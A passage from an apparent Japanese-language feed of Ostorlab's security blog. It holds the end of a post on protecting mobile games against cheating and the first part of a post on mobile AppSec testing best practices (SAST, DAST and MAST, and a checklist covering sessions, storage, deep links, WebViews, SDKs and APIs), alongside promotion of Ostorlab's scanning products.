&lt;p&gt;モバイルゲームの保護には、単一の防御以上のものが必要です。複数の戦略を組み合わせることで、チートや悪用を防ぎながら、ゲーム、プレイヤー、収益を守ります。以下のベストプラクティスは、最も重要な領域に焦点を当てています。&lt;/p&gt;
&lt;h3 id="クライアントとサーバーにまたがる多層防御"&gt;クライアントとサーバーにまたがる多層防御&lt;/h3&gt;
&lt;p&gt;攻撃者は一つの侵入口に限定しないため、保護ポイントが一つだけでは決して十分ではありません。攻撃者はクライアントを探り、ネットワークトラフィックを傍受し、サーバーをテストし、レイヤー間の隙間を探します。ゲームのコード、実行環境、ネットワーク通信、バックエンドをそれぞれ独立して保護すれば、一つのレイヤーが回避されても残りのレイヤーが持ちこたえます。各レイヤーは、他のレイヤーが存在しないものとして扱うべきです。&lt;/p&gt;
&lt;h3 id="アンチチートと経済の保護"&gt;アンチチートと経済の保護&lt;/h3&gt;
&lt;p&gt;ボットやスクリプトによるエクスプロイトは、必ずしもすぐに目に見えるわけではありません。時間をかけて蓄積し、リソースを水増しし、リーダーボードを操作し、チートをしていないプレイヤーにとってゲームを徐々につまらないものにしていきます。被害が表面化する頃には、プレイヤーベースはすでに離れ始めています。異常な行動パターンを監視し、異常な取引量をフラグ付けし、経済に関わるあらゆるやり取りをサーバーサイドで検証することで、問題が複合化する前に捉えることができます。&lt;/p&gt;
&lt;h3 id="デフォルトでゼロトラスト"&gt;デフォルトでゼロトラスト&lt;/h3&gt;
&lt;p&gt;モバイルゲームにおけるセキュリティ上の失敗の多くは、サーバーがクライアントから送られてきた内容を疑わずに信頼したことで起こります。ゼロトラストは、その前提を完全に覆します。プレイヤーのあらゆる操作、あらゆる取引、あらゆる端末は、受け入れられる前にサーバーサイドで検証される必要があります。アプリアテステーションはゲームが改ざんされていないことを確認し、完全性チェックはクライアントの状態を検証し、継続的な監視はすり抜けたものを捉えます。クライアントは単なる表示レイヤーとなり、信頼できる情報源ではなくなります。&lt;/p&gt;
&lt;h3 id="体系的なセキュリティテストチェックリストに従う"&gt;体系的なセキュリティテストチェックリストに従う&lt;/h3&gt;
&lt;p&gt;モバイルゲームのセキュリティテストは、すべてのリリースで一貫している必要があり、そのアプローチはゲームが動作するプラットフォームによって変わります。プラットフォームごとに独自のアタックサーフェスと脆弱性があり、それぞれに個別に対処する必要があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.ostorlab.co/security/mobile_app_security_checklist.html"&gt;モバイルアプリセキュリティテストチェックリスト&lt;/a&gt;：あらゆるモバイルゲームに共通する中核的なセキュリティ要件を網羅  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.ostorlab.co/security/android_app_security_checklist.html"&gt;Androidゲームセキュリティテストチェックリスト&lt;/a&gt;：APKの改ざんやroot化端末を使った攻撃など、Android固有のリスクに対処  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.ostorlab.co/security/ios_app_security_checklist.html"&gt;iOSゲームセキュリティテストチェックリスト&lt;/a&gt;：ジェイルブレイク検知や実行時の改変など、iOS固有の脆弱性を網羅  &lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.ostorlab.co/security/flutter_app_security_checklist.html"&gt;Flutterゲームセキュリティテストチェックリスト&lt;/a&gt;：Flutterで構築されたクロスプラットフォームゲーム向け&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ostorlabがゲームスタジオを支援する方法"&gt;Ostorlabがゲームスタジオを支援する方法&lt;/h2&gt;
&lt;p&gt;自社のゲームでこれらのテストを実施したい場合に向けて、Ostorlabが何を行い、何を必要とし、どこまでが対象範囲かを説明します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;得られるもの&lt;/strong&gt;：Ostorlabはゲームのリリースごとにテストを行います。プレイヤーがダウンロードするビルドをテストし、チーターと同じように実行中のアプリをフックして改変し、ゲームロジック、残高、ランダムな結果がクライアントではなくサーバーによって強制されているかを確認します。TLSピンニングが施されていてもゲームのトラフィックを傍受し、購入、ウォレット、報酬の背後にあるAPIとビジネスロジックをテストします。&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;Mobile Shielding Scan&lt;/a&gt;は、改ざん検知、root/ジェイルブレイク検知、計装検知を含むアンチチートとアプリシールディングをテストし、どの保護が持ちこたえ、どの保護が回避されたかを示します。AIエージェントによる各検出結果には再実行可能な実際に動作するエクスプロイトが付属し、検出結果はチケットにまとめられ、Jira、ServiceNow、その他のチケット管理システムに送信できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;必要なもの&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ビルド&lt;/strong&gt;：まずはApp StoreまたはGoogle Playで自社のゲームを検索し、&lt;a href="https://ostorlab.co/"&gt;ostorlab.co&lt;/a&gt;でログイン不要の無料高速スキャンを実行します。アカウントがあれば、Android向けのAPKまたはAAB、iOS向けの暗号化されていないIPAをアップロードしたり、TestFlightのビルドをスキャンしたりすることもできます。同じゲームのAndroid版とiOS版は2つのアプリケーションとして数えられます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テスト用プレイヤーアカウント&lt;/strong&gt;：アカウント乗っ取り、購入、報酬のフローは、スキャンがサインインできる場合にのみカバーされます。スキャン設定でテストアカウントを追加し、ワンタイムコードを受け取る手段も用意してください。&lt;a href="https://docs.ostorlab.co/tutorials/2FA_scans.html"&gt;2FAガイド&lt;/a&gt;に、SMS、TOTP、メールのコードに関する前提条件が記載されています。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保護機能に関する計画&lt;/strong&gt;：Ostorlabの&lt;a href="https://docs.ostorlab.co/tutorials/mobile_scan_prerequisites.html"&gt;モバイルスキャンの前提条件&lt;/a&gt;では、すべての保護を有効にした状態でテストし、次に無効にした状態でテストすることを推奨しています。1回目の実行ではシールディングが持ちこたえるかどうかが、2回目の実行ではシールディングがどの検出結果を隠していたかがわかります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;対象範囲と対象外&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;対象範囲：Android、iOS、HarmonyOS上のゲームクライアント、アカウント、購入、ウォレット、報酬の背後にあるAPI、組み込まれたSDKとライブラリ、そしてゲームとそのSDKが保存または送信するプレイヤーデータ。Mobile Shielding ScanはAndroidおよびiOSアプリを対象とします。&lt;/li&gt;
&lt;li&gt;Ostorlabは手動のペネトレーションテストに取って代わるものではありません。すべてのリリースをテストするため、手動テストの合間に問題が見つかります。人間の判断が必要な範囲については、手動テストを継続してください。&lt;/li&gt;
&lt;li&gt;ゲームが従うべき決済、ギャンブル、データ保護の規則については、Ostorlabがそれらのセキュリティ上の要求事項に照らしたテストを支援し、エビデンスとして再利用できるレポートを提供します。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://ostorlab.co/case-studies/bumble"&gt;Bumbleの導入事例&lt;/a&gt;は、iOSおよびAndroidのリリースプロセスにおけるOstorlabの活用を示しています。高およびクリティカルの検出結果があるリリースは、修正が確認されるまでブロックされます。&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.ostorlab.co/mobile-shielding-rasp-detection-enforcement-gap.html"&gt;Bypassing Mobile App Shielding&lt;/a&gt;は、4つの商用シールディング製品が、本番環境の5つの銀行アプリにおいて回避の試みに対してどの程度持ちこたえたかを示しており、アンチチート保護の有用な参考資料となります。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;次のステップ&lt;/strong&gt;：まずはストアから自社のゲームを無料でスキャンし、次にテスト用プレイヤーアカウントを追加してフルスキャンを実行し、ログイン後のフローをカバーしてください。リリース全体にわたるテストを計画するには、&lt;a href="https://ostorlab.co/solutions/mobile_gaming"&gt;モバイルゲーム向けOstorlab&lt;/a&gt;をご覧いただくか、&lt;a href="https://ostorlab.co/demo"&gt;デモを予約&lt;/a&gt;してください。&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;モバイルゲームは今日最も攻撃を受けているプラットフォームの一つであり、その被害はチートにとどまりません。収益、プレイヤーの信頼、コンプライアンス上の立場に影響します。そのすべてを抑え込むのがセキュリティテストです。&lt;/p&gt;
&lt;p&gt;セキュリティ侵害の影響は一度に押し寄せるわけではありません。プレイヤーがゲームを不公平だと感じ始め、チーターが幅を利かせ、経済が壊れているように感じられ、継続率の数字で問題を無視できなくなるまで、信頼はゆっくりと損なわれていきます。問題を早期に捉え、セキュリティテストのベストプラクティスに従うことこそが、そうした悪循環をそもそも始まらせないための方法です。&lt;/p&gt;
&lt;p&gt;自社のゲームで実際に何が露出しているかを確認したい場合、Ostorlabの&lt;a href="https://ostorlab.co/solutions/mobile_gaming"&gt;モバイルゲームセキュリティテスト&lt;/a&gt;は、ゲームの進化に合わせて、バイナリからバックエンドまであらゆるレイヤーを継続的にカバーします。さらに、Ostorlabの&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Mobile Agentic Deep Scan&lt;/a&gt;は一歩進んで、モバイルゲームに対して現実の攻撃を能動的にシミュレートし、アプリ全体で本当に悪用可能なものを確認したうえで、すぐに対応できる実証レベルのエビデンスを提供します。&lt;br/&gt;
&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;出典：&lt;/strong&gt; &lt;br/&gt;
&lt;a href="https://www.reddit.com/r/ClashOfClans/search/?q=hack"&gt;Reddit, r/ClashOfClans, search results for "hack", reddit.com, accessed 2026.&lt;/a&gt;&lt;br/&gt;
&lt;a href="https://pubg.com/en/news/9143"&gt;PUBG: BATTLEGROUNDS Weekly Bans Notice (08/25\~08/31)&lt;/a&gt;&lt;br/&gt;
&lt;a href="https://www.kaspersky.com/blog/gen-z-gaming-report-2025/"&gt;Kaspersky genz gaming report 2025&lt;/a&gt;&lt;br/&gt;
&lt;a href="https://www.nintendolife.com/news/2024/09/pokemon-wins-usd15-million-copyright-lawsuit-against-chinese-mobile-game-developers"&gt;ポケモンがコピーゲーム会社のPocket Monster Reissueを1,500万ドルで提訴&lt;/a&gt;&lt;br/&gt;
&lt;a href="https://irdeto.com/blog/security-threats-to-mobile-gaming-apps-101"&gt;Irdeto, "Security Threats to Mobile Gaming Apps 101"&lt;/a&gt;&lt;br/&gt;
&lt;a href="https://gdpr-info.eu/"&gt;EU一般データ保護規則（GDPR）&lt;/a&gt; &lt;br/&gt;
&lt;a href="https://www.ftc.gov/legal-library/browse/rules/childrens-online-privacy-protection-rule-coppa"&gt;Children's Online Privacy Protection Rule (COPPA)&lt;/a&gt; &lt;br/&gt;
&lt;a href="https://www.pcisecuritystandards.org/"&gt;Payment Card Industry Data Security Standard(PCI DSS)&lt;/a&gt; &lt;/p&gt;</content><category term="Security"/><category term="mobile game security"/></entry><entry><title>大規模なモバイルAppSecテストのベストプラクティス</title><link href="https://blog.ostorlab.co/ja/mobile-appsec-testing-best-practices-high-tech.html" rel="alternate"/><published>2026-04-16T18:00:00+02:00</published><updated>2026-04-16T18:00:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-04-16:/ja/mobile-appsec-testing-best-practices-high-tech.html</id><summary type="html">&lt;p&gt;iOSとAndroidのアプリを高速にリリースするチームのためのモバイルAppSecテスト。MAST、SAST、DASTの違い、テストチェックリスト、CI/CDのパターン、重大度に基づくリリースゲートを解説します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;モバイルアプリを高速にリリースするハイテク企業のチームには、ときどきのスキャンや年1回のペンテスト以上のものが必要です。変化し続けるリリース、進化するAPI、サードパーティSDKの更新、そしてiOSとAndroidのデリバリーの現実に歩調を合わせられる、モバイルアプリケーションセキュリティテストのプログラムが求められます。現代のモバイルAppSecテストのベストプラクティスが本当に目指しているのは、まさにそこです。継続的な検証、ノイズの少ない検出結果、そして明確なリリース判断です。IBMの報告によれば、複数の環境にまたがる侵害のコストは&lt;strong&gt;平均で500万米ドルを超え、特定と封じ込めまでに283日を要しました&lt;/strong&gt;。Verizonの報告によれば、&lt;strong&gt;回答した組織の80%が、モバイル端末を自社の業務にとって不可欠なものとみなしています。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;課題は、汎用的なアプリケーションセキュリティプログラムが見落としがちな形で、モバイルアプリが破綻するという点にあります。実際のリスクは、認証とセッションの処理、端末上のストレージ、ディープリンク、WebView、サードパーティSDKによる露出、そしてモバイルとAPIの間の契約に現れることがよくあります。VerizonのDBIRは、報告された攻撃パターンにおける侵害の約88%で、盗まれた認証情報が使用されていたと指摘しています。NowSecureは、評価したアプリの15%超に、既知の脆弱性を持つコンポーネントが含まれていたと報告しています。リリースの速い環境では、テストがCI/CDから切り離されていたり、あいまいな検出結果しか出さなかったり、エンジニアリングチームが問題を素早く再現して修正するのに十分なエビデンスがなかったりすると、こうした問題を捉えるのはより難しくなります。&lt;/p&gt;
&lt;p&gt;本ガイドでは、大規模にリリースを行うハイテク企業のチームに向けて、モバイルアプリセキュリティテストのベストプラクティスを解説します。優れたモバイルAppSecとはどのようなものか、MAST、SAST、DASTをどう組み合わせるか、実際のモバイルのアタックサーフェスで何をテストするか、CI/CDにテストをどう統合するか、重大度に基づくリリースゲートをどう適用するか、そしてモバイルAppSecソリューションをどう評価するかを取り上げます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルセキュリティの主要な統計：複数の環境にまたがる侵害のコストは500万米ドル超、封じ込めまでに283日（IBM）、そして組織の80%がモバイル端末を業務に不可欠とみなしている（Verizon）" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_testing_best_practices/mobile_threats_and_breach_impact.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="開発スピードの速い環境における優れたモバイルアプリケーションセキュリティテストとは"&gt;&lt;strong&gt;開発スピードの速い環境における優れたモバイルアプリケーションセキュリティテストとは&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;優れた&lt;strong&gt;モバイルアプリケーションセキュリティテスト&lt;/strong&gt;とは、「リリース前にスキャンを実行した」ということではありません。組織として、モバイルのリスクを検証し、エンジニアが対応できる検出結果を生み出し、チームをまたいで一貫したリリース判断を下すための、再現可能な方法を持っているということです。開発スピードの速い環境では、この定義に&lt;strong&gt;セキュリティ上の成果&lt;/strong&gt;と&lt;strong&gt;運用上の成果&lt;/strong&gt;の両方を含める必要があります。&lt;/p&gt;
&lt;h3 id="セキュリティ上の成果"&gt;&lt;strong&gt;セキュリティ上の成果&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;強固なモバイルAppSecプログラムは、本番環境で最も重要なアタックサーフェスについて、把握されたカバレッジを提供します。これには、&lt;strong&gt;アイデンティティとセッションの処理、安全でないローカルストレージ、ディープリンクのセキュリティ、WebViewのセキュリティ、サードパーティSDKのリスク、アプリとAPIの間のやり取り&lt;/strong&gt;が含まれます。目的は抽象的なカバレッジを主張することではありません。何がテストされているのか、どれくらいの頻度でテストされているのか、そしてどのようなギャップが残っているのかを把握することです。&lt;/p&gt;
&lt;p&gt;優れたセキュリティ上の成果は、&lt;strong&gt;再現可能な検出結果&lt;/strong&gt;にも左右されます。「安全でない挙動の可能性あり」とだけ記された検出結果では、モバイルのエンジニアリングチームにとって十分ではありません。有用な結果とは、何がテストされたか、どのフローが関係していたか、アプリやバックエンドが何をしたか、そしてその挙動がなぜリスクを生むのかを示すものです。そうした詳細がなければトリアージは遅くなり、検出結果は無視されやすくなります。&lt;/p&gt;
&lt;p&gt;3つ目のセキュリティ上の成果は、明確な&lt;strong&gt;リリースポリシー&lt;/strong&gt;です。チームは、どの検出結果がリリースをブロックし、どの検出結果が追跡対象の修復作業になり、修正が完了したとみなされる前にどのようなエビデンスが必要かを把握しておくべきです。そのポリシーがなければ、テストは活動を生むだけで予測可能性は生みません。&lt;/p&gt;
&lt;h3 id="運用上の成果"&gt;&lt;strong&gt;運用上の成果&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;運用面では、優れたモバイルAppSecは摩擦を減らします。検出結果がより明確なのでトリアージが速くなります。重大度のポリシーがすでに定義されているので、リリースレビューの混乱が少なくなります。検出結果が出るたびに一から交渉する必要がないため、エンジニアリングマネージャーはより確信を持って計画を立てられます。&lt;/p&gt;
&lt;p&gt;優れたプログラムは、&lt;strong&gt;ノイズの代償&lt;/strong&gt;も減らします。誤検知（フォールスポジティブ）、コンテキストの乏しいアラート、対応につながらない出力は、高速にリリースするチームにとって特に大きなコストになります。シグナルがノイズにまみれると、チームはテストのプロセスそのものを信頼しなくなります。そうなると、正当な検出結果でさえ優先順位付けが難しくなります。&lt;/p&gt;
&lt;p&gt;複数のモバイルアプリを管理する組織にとって、優れたモバイルAppSecとは、&lt;strong&gt;ポートフォリオ全体での一貫性&lt;/strong&gt;も意味します。共通の重大度のしきい値、共通のエビデンスの基準、共通のワークフローに対する期待こそが、チームをまたいでセキュリティを拡張可能にするものです。&lt;/p&gt;
&lt;h2 id="モバイルアプリにおけるmast、sast、dastの比較:それぞれがカバーするものと見落とすもの"&gt;&lt;strong&gt;モバイルアプリにおけるMAST、SAST、DASTの比較：それぞれがカバーするものと見落とすもの&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;現代のモバイル環境で完全な確信を与えてくれる単一のテスト手法はありません。モバイルのリスクは、コード、実行時の挙動、端末の状態、サードパーティのコンポーネント、バックエンドの認可にまたがることがよくあります。だからこそ、効果的な&lt;strong&gt;モバイルアプリケーションセキュリティテストのベストプラクティス&lt;/strong&gt;は、単一のアプローチではなく多層的なモデルに依拠しています。&lt;/p&gt;
&lt;h3 id="モバイルアプリのためのsast"&gt;&lt;strong&gt;モバイルアプリのためのSAST&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;SAST&lt;/strong&gt;は、リスクのあるコードパターンや安全でない実装上の選択を早い段階で捉えるのに役立ちます。安全でないAPIの使用、脆弱な暗号の実装、ハードコードされたシークレットなど、実行前に検出できる問題の特定に有用です。モバイルのパイプラインでは、開発の初期段階で問題を浮かび上がらせられるため価値があります。&lt;/p&gt;
&lt;p&gt;しかし、モバイル環境ではSASTに限界があります。欠陥が実際に到達可能なのか、悪用可能なのか、本番環境で意味を持つのかを示すのに必要な実行時のコンテキストが欠けていることがよくあります。モバイルの重要な問題の多くは、アプリの状態、認証済みのフロー、端末の挙動、バックエンドのレスポンスに依存しており、静的解析だけでは検証できません。&lt;/p&gt;
&lt;h3 id="モバイルアプリのためのdast"&gt;&lt;strong&gt;モバイルアプリのためのDAST&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;DAST&lt;/strong&gt;は、アプリケーションの実行中にテストを行うことで役立ちます。実行時の挙動、セッション処理の問題、認可の問題、アプリと実際のエンドポイントとのやり取りを浮かび上がらせるのに有用です。モバイル環境ではこれが不可欠です。意味のある問題の多くは、アプリがインストールされ、認証され、実際のワークフローを進んで初めて現れるからです。&lt;/p&gt;
&lt;p&gt;汎用的なDASTの弱点は、モバイル特有の挙動を十分に深く理解できない場合があることです。テストが現実的なアプリの状態、実際のアイデンティティ、代表的なバックエンドの条件に到達しなければ、得られるシグナルは限られたものになります。&lt;/p&gt;
&lt;h3 id="モバイルアプリのためのmast"&gt;&lt;strong&gt;モバイルアプリのためのMAST&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;MAST&lt;/strong&gt;は、&lt;strong&gt;モバイル特有のエントリーポイントとアタックサーフェス&lt;/strong&gt;のために設計されている点で異なります。&lt;strong&gt;ディープリンク、WebView、ローカルストレージ、SDKによる露出、通信とセッションの挙動、モバイルとAPIの間の契約&lt;/strong&gt;といった領域に焦点を当てます。そのため、ネイティブのモバイルアプリを高速に構築・リリースするチームにとって特に重要です。&lt;/p&gt;
&lt;p&gt;MASTが重要なのは、モバイルの重大な問題の多くが、純粋にソースコードの中だけ、あるいは純粋にネットワークトラフィックの中だけに存在するわけではないからです。それらは、インストールされたアプリ、端末の挙動、バックエンドの信頼の前提の間の関係の中に現れます。&lt;/p&gt;
&lt;h3 id="推奨されるテストの組み合わせ"&gt;&lt;strong&gt;推奨されるテストの組み合わせ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;ほとんどのチームにとって最も強力なアプローチは、ある手法を他の手法より優先して選ぶことではありません。リリースモデルに合った形で、それらを組み合わせて使うことです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;運用モデル&lt;/th&gt;
&lt;th&gt;推奨されるモバイルセキュリティテストのアプローチ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;高速にリリースするコンシューマー向けアプリ&lt;/td&gt;
&lt;td&gt;CIでトリガーされるチェック、定期的なより深いスキャン、重大度に基づくリリースゲート&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;複数アプリのポートフォリオ&lt;/td&gt;
&lt;td&gt;標準化されたテストパイプライン、共通のしきい値、一元化されたガバナンス&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;規制対象の環境&lt;/td&gt;
&lt;td&gt;エビデンスが豊富な出力と文書化された制御の実施を伴う、継続的なモバイルテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成熟したモバイルAppSecプログラム&lt;/td&gt;
&lt;td&gt;開発、リリース、検証に合わせて多層化したSAST、DAST、MAST&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;実践的な結論はシンプルです。&lt;strong&gt;SASTはパターンを見つけ、DASTは実行時の挙動を検証し、MASTはモバイル特有のコンテキストを加えます&lt;/strong&gt;。高い成果を上げるチームには、通常この3つすべてが必要です。&lt;/p&gt;
&lt;h2 id="モバイルアプリケーションセキュリティテストのチェックリスト:何をテストし、なぜ本番環境で破綻するのか"&gt;&lt;strong&gt;モバイルアプリケーションセキュリティテストのチェックリスト：何をテストし、なぜ本番環境で破綻するのか&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;優れた&lt;strong&gt;モバイルアプリセキュリティのチェックリスト&lt;/strong&gt;は、モバイルアプリが本番環境で実際に破綻する場所に焦点を当てるべきです。こうした問題は境界に現れることがよくあります。アプリの状態とAPIの状態の間、通常のルーティングとディープリンクの間、セキュアなストレージについての前提と実際にディスクへ書き込まれる内容の間、あるいは承認されたSDKの使い方とサードパーティのコードが実行時に行っていることの間です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="セキュアなアプリ開発のための包括的なモバイルAppSecテストチェックリスト。アイデンティティとセッションの処理、端末上のストレージ、ディープリンク、WebView、サードパーティSDK、モバイルとAPIの間のやり取りをカバーしている。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-16_mobile_testing_best_practices/Mobile_AppSec_testing_Checklist.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="アイデンティティとセッションの処理"&gt;&lt;strong&gt;アイデンティティとセッションの処理&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;アイデンティティは、端末、アプリ、認証プロバイダー、バックエンドサービスにまたがるため、&lt;strong&gt;モバイルアプリケーションセキュリティテスト&lt;/strong&gt;において最も重要な領域の一つです。チームがテストすべき項目は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;トークンの保存パターン&lt;/li&gt;
&lt;li&gt;ログアウト後やパスワード変更後のセッションの無効化&lt;/li&gt;
&lt;li&gt;ロールやテナントをまたぐ権限の境界&lt;/li&gt;
&lt;li&gt;アプリとAPIの間の認証状態の非同期&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;モバイルでよくある失敗のパターンは、UIではログアウトしたように見えるのに、以前に発行されたトークンがバックエンドサービスに対して依然として有効であるというものです。もう一つは、ユーザー間やテナント間の分離が弱いことです。こうした問題は、実際のアプリのフローと実際のバックエンドのレスポンスなしには評価が困難です。&lt;/p&gt;
&lt;h3 id="安全でないローカルストレージとシークレット"&gt;&lt;strong&gt;安全でないローカルストレージとシークレット&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;テストでは、アプリがトークン、認証情報、機密性の高いユーザーデータ、内部のシークレットを、iOSやAndroidの安全でない場所に保存していないかを検証すべきです。対象には次のものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ローカルの設定とファイル&lt;/li&gt;
&lt;li&gt;キャッシュと一時ストレージ&lt;/li&gt;
&lt;li&gt;ログとデバッグトレース&lt;/li&gt;
&lt;li&gt;鍵管理機能の誤用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;実践的なベストプラクティスは、&lt;strong&gt;明確に正当化されない限り、端末上にシークレットを置かない&lt;/strong&gt;というデフォルトのポリシーを定めることです。キャッシュや永続化をめぐる利便性優先の判断が時間とともに積み重なるため、この領域は破綻しやすいのです。&lt;/p&gt;
&lt;h3 id="ディープリンクのセキュリティ"&gt;&lt;strong&gt;ディープリンクのセキュリティ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;ディープリンクは、アプリへの代替のエントリーポイントを生み出すため、モバイルの主要なアタックサーフェスです。チームは、ディープリンクが次のような状態になっていないかをテストすべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内部のルートへの不正なアクセスを許している&lt;/li&gt;
&lt;li&gt;信頼できない入力を機密性の高いフローに渡している&lt;/li&gt;
&lt;li&gt;公開画面、認証済み画面、特権画面の間で一貫しない振る舞いをしている&lt;/li&gt;
&lt;li&gt;複数のアプリやハンドラーが同じスキームを主張したときに競合を生んでいる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ディープリンクは、オンボーディング、サポート、グロース施策、通知のために追加されることが多いため、特にドリフトの影響を受けやすいものです。&lt;/p&gt;
&lt;h3 id="webviewのセキュリティ"&gt;&lt;strong&gt;WebViewのセキュリティ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;WebViewはネイティブアプリの挙動と埋め込まれたWebコンテンツを組み合わせるため、&lt;strong&gt;WebViewのセキュリティ&lt;/strong&gt;には専用のテストが必要です。チームがテストすべき項目は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JavaScriptブリッジ&lt;/li&gt;
&lt;li&gt;コンテンツの読み込みルール&lt;/li&gt;
&lt;li&gt;混在コンテンツの処理&lt;/li&gt;
&lt;li&gt;メッセージハンドラー&lt;/li&gt;
&lt;li&gt;URLパラメーターによるインジェクションの経路&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;リスクは通常、WebViewが存在すること自体ではなく、どのコンテンツを読み込むのか、どのネイティブ機能に到達できるのかについての信頼の前提にあります。&lt;/p&gt;
&lt;h3 id="サードパーティsdkのリスク"&gt;&lt;strong&gt;サードパーティSDKのリスク&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;サードパーティSDKは、追加のコード、エンドポイント、権限、データフローをアプリに持ち込みます。モバイルセキュリティテストでは、次の点を確認すべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SDKは何を収集し、送信しているか。&lt;/li&gt;
&lt;li&gt;どの権限を使用しているか。&lt;/li&gt;
&lt;li&gt;バージョンが古くなっていないか。&lt;/li&gt;
&lt;li&gt;予期しないエンドポイントや新たな挙動を持ち込んでいないか。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;優れたガバナンスは、承認済みSDKのリストとバージョンポリシーから始まります。しかし、SDKの挙動は時間とともに変わることが多いため、テストは依然として必要です。&lt;/p&gt;
&lt;h3 id="モバイルとapiの間の契約テスト"&gt;&lt;strong&gt;モバイルとAPIの間の契約テスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;モバイルの最も重要な脆弱性のいくつかは、アプリとバックエンドAPIの関係の中に現れます。チームがテストすべき項目は次のとおりです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;実際のエンドポイントのカバレッジ&lt;/li&gt;
&lt;li&gt;認可の境界&lt;/li&gt;
&lt;li&gt;オブジェクトのアクセス制御&lt;/li&gt;
&lt;li&gt;トークンとセッションの挙動&lt;/li&gt;
&lt;li&gt;現実的な条件下での入力処理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;アプリとバックエンドは異なるスピードで構築・変更されることが多いため、この領域は重要です。その結果生じる不整合は、悪用可能な欠陥の頻繁な原因となっています。&lt;/p&gt;
&lt;h2 id="エビデンスが豊富なモバイルセキュリティの検出結果:修復を加速させる方法"&gt;&lt;strong&gt;エビデンスが豊富なモバイルセキュリティの検出結果：修復を加速させる方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;問題を見つけることは、仕事の半分にすぎません。効果的な&lt;strong&gt;モバイルセキュリティテストのベストプラクティス&lt;/strong&gt;には、エンジニアリングチームが素早く再現して修正できる検出結果が求められます。出力があいまいだったりコンテキストが欠けていたりすると、トリアージは遅くなり、信頼は低下します。&lt;/p&gt;
&lt;p&gt;優れたモバイルの検出結果には、次のものを含めるべきです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;何がどこで実行されたか&lt;/li&gt;
&lt;li&gt;テストしたビルドまたはバージョン&lt;/li&gt;
&lt;li&gt;アプリとアイデンティティの状態&lt;/li&gt;
&lt;li&gt;正確な再現手順&lt;/li&gt;
